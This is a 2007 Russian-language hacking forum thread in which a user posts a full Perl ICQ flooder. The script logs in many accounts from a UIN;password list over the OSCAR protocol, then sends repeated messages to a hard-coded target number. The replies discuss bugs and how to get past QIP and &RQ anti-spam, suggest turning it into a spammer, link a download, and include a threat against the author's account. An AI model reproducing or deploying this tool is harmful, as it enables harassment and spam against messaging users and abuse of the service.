icq_flood.pl beta

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by BuH@LicH, 3 Apr 2007.

  1. BuH@LicH

    BuH@LicH Member

    Joined:
    6 Feb 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Isis посвящается. ;)

    Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде ;).
    Code:
    #!/usr/bin/perl
    ##################################
    ##  Script for icq flood
    ##  thx to CyberLords for sample
    ##################################
    use IO::Socket;
    use Thread;
    use strict;
    
    ##### config #####
    our $file = 'uins.txt'; # файл с записями вида uin;pass
    our $flood = '22222208'; # кого флудим?
    our $send_message='From Russia With Love :-p'; # текст сообщения
    our $count = 100; # количество сообщений с одного уина
    our $delay = 3; # максимальная задержка отправки сообщений
    my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
    ##################
    my (@threads, @strings);
    my ($uin, $pass, $j, $sl);
    
    open(F,$file); 
    @strings=<F> or die print "$! ";
    close(F);
    $sl = scalar @strings * $onlain;
    for ($j=0; $j < scalar @strings; $j++)
    {
     ($uin, $pass) = split(/;/, @strings[$j]);
     $threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
     sleep($onlain);
    }
    
    for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}
    
    sub icq_flood{
      my ($uin, $password, $sleep, $server, $port) = @_;
      $server = $server || "login.icq.com";
      $port = $port || 5190;
      
      my $client_id = "ICQBasic";
      my $socket = undef;
     
      my $i;
      my $answer_data; # ответ сервера
      my $auth_request; #посылаемый пакет
    
      my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
      my $data; # данные пакета
      my $BOS_server_address; # ip основного сервера для работы с icq
      my $BOS_server_port; # порт сервера
      my $seq_num = int(rand(0xFFFF));
      
      $data= #(основнные данные)
    	"\x00\x00\x00\x01". #версия протокола
    	"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
    	"\x00\x02".pack('n',length($password)).xor_password($password). #то же для пароля
    	"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
    	"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
    	"\x00\x17".pack('n',2).pack('n',4). # -||-
    	"\x00\x18".pack('n',2).pack('n',65). # -||-
    	"\x00\x19".pack('n',2).pack('n',1). # -||-
    	"\x00\x1A".pack('n',2).pack('n',3281). # -||-
    	"\x00\x14".pack('n',4).pack('N',85). # -||-
    	"\x00\x0F".pack('n',2)."en". # язык клиента
    	"\x00\x0E".pack('n',2)."us"; # страна клмента
    
      $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      
      socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; #создаём сокет
      connect(SOCK,sockaddr_in($port,inet_aton($server))) or return 0;
      SOCK->autoflush(1);
      sysread(SOCK,$answer_data,1024);
      print SOCK $auth_request;
      sysread(SOCK,$answer_data,1024);
      if ($answer_data !~/\x8e\x00/) {
    		print "\n UIN $uin: Authorization error.\n";
    	}
      close(SOCK);
    
      $answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
      $BOS_server_address = $1;
      $BOS_server_port = $2;
    
      undef $data;
      undef $FlAP_header;
      
      $data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
    
      socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n";
      connect(SOCK,sockaddr_in($BOS_server_port,inet_aton($BOS_server_address))) or return 0;
      SOCK->autoflush(1);
      sysread(SOCK,$answer_data,1024);
      print SOCK $auth_request;
      sysread(SOCK,$answer_data,1024);
      
      undef $data;
      undef $FlAP_header;
      
      $data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09\x00\x01\x00\x0a\x00\x01";
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      print SOCK $auth_request;
      sysread(SOCK,$answer_data,1024);
      
      undef $data;
      undef $FlAP_header;
    
      $data="\x00\x01\x00\x06".("\x00" x 6);
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      print SOCK $auth_request;
      sysread(SOCK,$answer_data,2048);
    
      undef $data;
      undef $FlAP_header;
      
      $data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      print SOCK $auth_request;
    
      undef $data;
      undef $FlAP_header;
    
      $data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      print SOCK $auth_request;
      sysread(SOCK,$answer_data,2048);
      
      undef $data;
      undef $FlAP_header;
    
      $data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15\x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00\x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x8a";
      $seq_num = 0 if $seq_num > 65535;
      $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
      $auth_request=$FlAP_header.$data;
      print SOCK $auth_request;
    
      print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
      sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
      for ($i=1; $i<$count; $i++)
      {	undef $data;
    	undef $FlAP_header;
    
    	my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
    	my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x11";
    	my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
    	$data=$part1.pack('n',length($part2.$part3)+2).$part2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
    	$data.="\x00\x03\x00\x00";
    	$seq_num = 0 if $seq_num > 65535;
    	$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
    	$auth_request=$FlAP_header.$data;
    	
        print SOCK $auth_request; 
    	sysread(SOCK,$answer_data,2048);
    	sleep(int(rand($delay)));
      }
    }
    
    sub xor_password() {
    	my ($password)=@_;
    	my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
    	my $xored_password;
    	my $i=0;
    
    	foreach(split(//,$password)) {
    		$xored_password.=$_ ^ $password_xor[$i++];
    		$i=0 if $i eq @password_xor;
    	}
    return $xored_password;
    }
    
    sub get_cookies() {
    	my ($data)=@_;
    	my $cookies;
    	my $i=0;
    	my $c=0;
    	foreach(split(//,$data)) {
    		$i=1 if($c eq "\x00" && $_ eq "\x06");
    		$cookies.=$_ if $i eq 1;
    		$c=$_;
    	}
    return substr($cookies,3,length($cookies));
    }
    ##################################
    ## (C)oded by BuH@LicH
    ##  just4fun...
    ##################################
    
    ToDo:
    - Поддержку Http/Socks прокси
    - Возможность отправки сообщений авторизации
    - Админку для распределённого флуда

    P.S. Спасибо System за оценку кода и указание на ошибки.
     
    #1 BuH@LicH, 3 Apr 2007
    Last edited: 3 Apr 2007
    5 people like this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Сначала доделай свой список ToDo , а потом выкладывай =\
    И еще......
    Если хоть от одного человека я увижу
    PHP:
    our $flood '22222208'# кого флудим?
    , то прощайся со своей ацкой.....её будет жестоко выбивать :)
     
  3. Woldemar

    Woldemar Member

    Joined:
    9 Jun 2005
    Messages:
    33
    Likes Received:
    5
    Reputations:
    3
    Бугага ну ты выдал.... сам то тестил что то не хоц нармана работать +1 предыдущему
     
  4. BuH@LicH

    BuH@LicH Member

    Joined:
    6 Feb 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Давайте я буду решать что мне делать, ок?)
    Боюсь, боюсь, боюсь... ;)
    Да, конечно. Флудер работает.
    Проблема у Вас. Если Вы смотрели код, то должны были догадаться, что флудер сначала выводит все уины онлайн, а только потом начинает флудить.
    Если хотите, чтобы флуд начинался сразу же после выхода каждого уина в онлайн, удалите из кода:sleep($sleep);
     
    #4 BuH@LicH, 3 Apr 2007
    Last edited: 3 Apr 2007
  5. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Первый нормальный екземпл где сразу после CLI_COOKIE не идет CLI_READY , респект )
     
  6. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    сделай чтоб номер и параметры можно было указывать как аргументы при запуске..

    >> undef $data;
    >> undef $FlAP_header;

    а зачем это?

    >> Админку для распределённого флуда

    имхо это лишнее для подобного скриптика ) ..вот если станешь его под спамер переделывать, тогда админка не помешает..

    и выложи его лучше в виде аттача, ато форум покромсал скриптег немного..
     
    #6 Digimortal, 3 Apr 2007
    Last edited: 3 Apr 2007
  7. BuH@LicH

    BuH@LicH Member

    Joined:
    6 Feb 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Спасибо :)
    Хорошо. ;)
    Спасибо большое! Я и не заметил. Возможно из-за этого он и не работал у кого-то.
    Скачать можно тут: http://icq-floof123.narod.ru/icq.pl
     
  8. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> Возможно из-за этого он и не работал у кого-то.

    а может и потому, что он не флудит на &rc, к примеру..

    прикольней можно сделать, чтоб, например, фразы для флуда разные выбирались..
     
  9. BuH@LicH

    BuH@LicH Member

    Joined:
    6 Feb 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Квиповский и крысовский(&rc - имелось ввиду &rQ ?) антиспам не удалось пока вынести этим флудером. :( Сейчас разбираюсь как старые флудеры выносили уины с антиспамом. &rQ без антиспама вылетает, только что протестил.

    Пока посплю схожу, вечерком гляну ещё разок ;)
     
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    BuH@LicH, скажи свой номер icq или напиши мне
     
  11. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> &rc - имелось ввиду &rQ ?

    угу )

    ток у меня наооборот вышло: в &rq ниче не приходило (антиспам-опции не активированы даже), а в квипе (уже старый билд) приходят сообщения..
     
  12. x-treem

    x-treem Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    130
    Likes Received:
    16
    Reputations:
    0
    мля, дык это переделаный бот.
    старый очень. ты дажо переменные не менял)))
     
  13. BuH@LicH

    BuH@LicH Member

    Joined:
    6 Feb 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Дык да :)
    ## thx to CyberLords for sample.
    http://www.cyberlords.net/releases/cl_icq.txt и некоторые отрывки кодов были из различных *.pm.
     
  14. x-treem

    x-treem Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    130
    Likes Received:
    16
    Reputations:
    0
    Их симпл авторизация мне тоже очень что - то напоминает... ток не могу вспомнить что